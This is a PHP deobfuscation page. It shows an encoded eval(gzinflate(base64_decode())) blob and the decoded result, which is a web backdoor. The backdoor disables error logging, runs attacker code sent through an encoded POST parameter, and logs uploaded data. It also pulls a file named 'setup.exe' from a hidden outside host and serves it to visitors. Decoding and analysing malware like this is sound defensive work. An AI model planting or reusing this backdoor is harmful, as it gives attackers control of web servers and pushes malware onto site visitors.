Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode("DdZFrsUIkgXQvdQoUx6YSaUamJnZk5aZnxlX338HEdKNc6O6svGf5u..

Decoded Output download

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."	".base64_encode($data)."
"); @flock($fp, LOCK_UN); @fclose($fp); } } elseif (preg_match('/^\/([a-z]{1})[.]htm/i', $_SERVER['REQUEST_URI'])) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://'.base64_decode(str_rot13(strrev(base64_decode(str_rot13('CG1RJzcFq1xkIaqMAUuUJzu0HHV='))))).$_SERVER['REQUEST_URI']); curl_setopt($ch, CURLOPT_HTTPHEADER, array ('X-Real-IP: '.$_SERVER['REMOTE_ADDR'], 'X-Real-Host: '.$_SERVER['HTTP_HOST'])); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_VERBOSE, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); $cn = curl_exec($ch); curl_close($ch); if (strlen($cn) > 0) { header('Expires: Mon, 20 Aug 2002 02:00:00 GMT'); header('Pragma: no-cache'); header('Cache-Control: no-cache'); header('Content-Type: application/octet-stream'); header('Content-Transfer-Encoding: binary'); header('Content-Disposition: inline; filename=setup.exe'); header('Content-Length: ' . strlen($cn)); die($cn); } } exit;

Did this file decode correctly?

Original Code

<?php eval(gzinflate(base64_decode("DdZFrsUIkgXQvdQoUx6YSaUamJnZk5aZnxlX338HEdKNc6O6svGf5ut+9Zgd1T95tlcE9n9lVcxl9c9/+DCAtz1SmPzR1xHBDdX0phRI9+RnfNbn4zDdOOw8b6iPLSCZre7mzeD988DKu208Hu2xGG2QaiHKK8qDPirsgEXqKGxulMQkNsdrdTmZiqBilZTXs9bPw1EUZcZH3sU27qqEoDg4iA4RC5iHdhiXEhhHCDO/9RzJIz1bsRocwtrDWwGZs6CC2hZqh6D0TN0KqZACNyl6yIzgxzZ0hkBXT1ANikRcGgcNYBp2rL3miFANL9eFDA5P9CuzihBXpdDCivnunj9mTYpkFOVcZrPqW8BTm+AZv0yHQmUgpbcDvJi7dvO0ki9t8izTaerB7GX4E2Cqy2KnS+810aywU1iLdysb/t6Ztz9wuRAtZB9P1/Hmn9E/VnqCzBj2A19EslFojxwPjsFPpEEqqy58MHmrg2VTP6cMwIWn1sbK+Lfj2V+gw46Ohg/1Iqa8reEy1zyulUCxK5qJ8sNFPUd1WHP8MTl3XZlo9iqiMwlSJqUe1CUjSJUQKT2wf1jw83tcod9NEWC86qdoLWSiA7kVBngSgjKUKb6yIjL5YEUi4CLPjqGa5a/51+5tWy3br14BXE4O9Ck4xAQ0BRVj8sskVXarCeIMhbdq2SGeMSU48Xi7pB4WAx0svTBlVJbOPSblN9xyhoAdrgeP1IJIgbg6b5GvNBCtCX6u855x5KfL0WcPV6WM9kvB2Gz64ChHN3L5bkh/XyciRmwRr9EBSCLiaduEDs1Ptwq+ZKb4wLBft4cdqDT8zaZz4Widv2WhpnmalH6lbA2sReHpifjTSoVlTDnAtB6uJfkRRiWolk84F2E51ZiWVg0e2DMow1S2x7NYQxKQFJYWnCUqK2zPSifU1RnMW7AXkty1ZMfb5NTwpEk2kJE8r0cxdRaH4jTmTVHVCqF9U4BtA4TpzfJL3u9IidHE0C1RN2kWulVrn1ozPBTU5NkPzCaAH7QXchaj9UgDgMbM2Mpo0hL6vI61CX3OYggMQ7rlWCNf35aFIMNp6XgQk/aAjIjgsiShPbatPdPUc2XO6YG0q6ndZIsw0mnPFZ2hJ9gm/TVIj4fTYvZDdXDAUi9q+MeZzLyVNNud+FApQFw0sduoo4ZuGwiS09Pk9/xZZ450lUAcdBxsOvvOZeghRVCKLMbdQbceYae3BkbO4cDLes+3reHJFyifnrMtk7+1Pr8Zm1YVhQje5j70fHgd0huKqwUba5U9Kb07gAAlR/88H5BxLBCFAsdfcbBM78wJTxFmipHXX8hthqUDfUgDmttMl2Aty+h1BmT+4b0vCbq6SgH2S8GCftgayRfisWpxWkKMWJ7b0q957VuVyb5VNdZYCGntUDXV51QVjx47YsKyusgrnvxYLCU4xCyCiAcWR8cwsgid/pnOmp/Qgpzes3LL7z4a36LhcER+2YqRxC+EyOaw6A+6dfJSZsxs1LNgjSfdO4QcKscYiy0FBceC6qp0oLjbintO+Y1dJbT6nK0bC/wertckuCnmi4kOz8gzkrhTc5261BMByfQn/ckf4QjDN4VOQDUNbMxnGBUyEOXH3IlWASxMdniczjmnAtRQpEItFrkMtF3LLan1zTbDHRX+kOHASgm4oib8A7hiWeCR79NHx2HuUNLGmJGV1J4G5MQ20Pv6IBg18v7O0PZa6jU8nxNp1g6/RjzFGXJ5P0NzmFkyBwye4C+wUP4igwZudvNknsaMaRkwJd/htziYnbuyjXtdrC8qv1b7TEBkXUZxZYdZy1AWtDWF6B6ZeCyJJixBB3IIBLjKtEVo9ahUDhPUi7cPnch9H2FFJWz21LICeAvgCxWNDeOHnH8A8Z1smQUkUq6J5QHTIebLi4vMQ7j4WvDX+N+WsgQ1tQ2oWrv9WanumGY0u1OC1n2qv13ZvsGYEHeLsthJ0Y+xoxVpLBK3uNAzNWSosMhtnhXUZcIkjD7bajICqx4EfNmEW9UxIqeS8M548vpkpx6pZDL1cyEko0Kxb+m1OKo0GoZIx9ITeOwGvJR8kSThiNw0WlRpX8yaYpF3CNeSRwTYUHdzQRBT/w7GNFFrgB9bwDN6g3Wxi77LV5F8cBEJu8uv7jL7Yykdlw70VuMXyBlrrtiJLu3DmeFM3ohLDEZrTTbZ3tD+8kyFHyYEE3HtGM1YDrq/0IizIH0aqg7F6Fl7I63G6AW2JXS8D1srww2I9ed5d5PubDnpXUCHLjxi6zKEcsg7IcUgq1LOdWozqZsJpP8qCSP4h9fev1YePsJ8nltqUnJbJmipKBPBGQa0Bd9d1KQPSB3xq2j6pb88r/Xo7AdJcVjWYs66eLO5zRB0U63nSNdAUTa4LJs9SKJy5GdgSq3LxpUN6NDrtt0rdcvOdxa1P9/bO0JI1h71SeYuU1IDcHnAp4m1OcdmFF6kzdwJZ0uQiKx0sf3GkNFmiIK9KQCuhHA4FYUwaqB0Eo/+ZLc7K2UHXuw/ihitQZMapM1cOu1sRi76kaFk8p/h92fcBSbUog6KEUpGR8fL0cvTteWwjA741gvpBZeXs6kfJxtCBov74ihFIF6NAecpt1D8naK41tbl554vFyG72UC2I57GvY/CreT10woAe5Dx6BBM9OsCCLTfKvPSBqlROuaWuSShiLLabHtPz6ETAs/WYHuG7FH5xwaloepy5QP3HsenJCT+3rG/Dm93A65UIyIDSuPfQdHL2bux85VaeIwyYFiCcM0npRPsvKyJY2qvo4n23U/FVE+D+bPUxeWHIzrd73BypFxZTP2FYdB4ItXQ9WVfIAgANAgy9//+959///33v/8P"))); ?>

Function Calls

gzinflate 20
base64_decode 20

Variables

None

Stats

MD5 3b5034f0d38b428d2451ea050814cec0
Eval Count 20
Decode Time 157 ms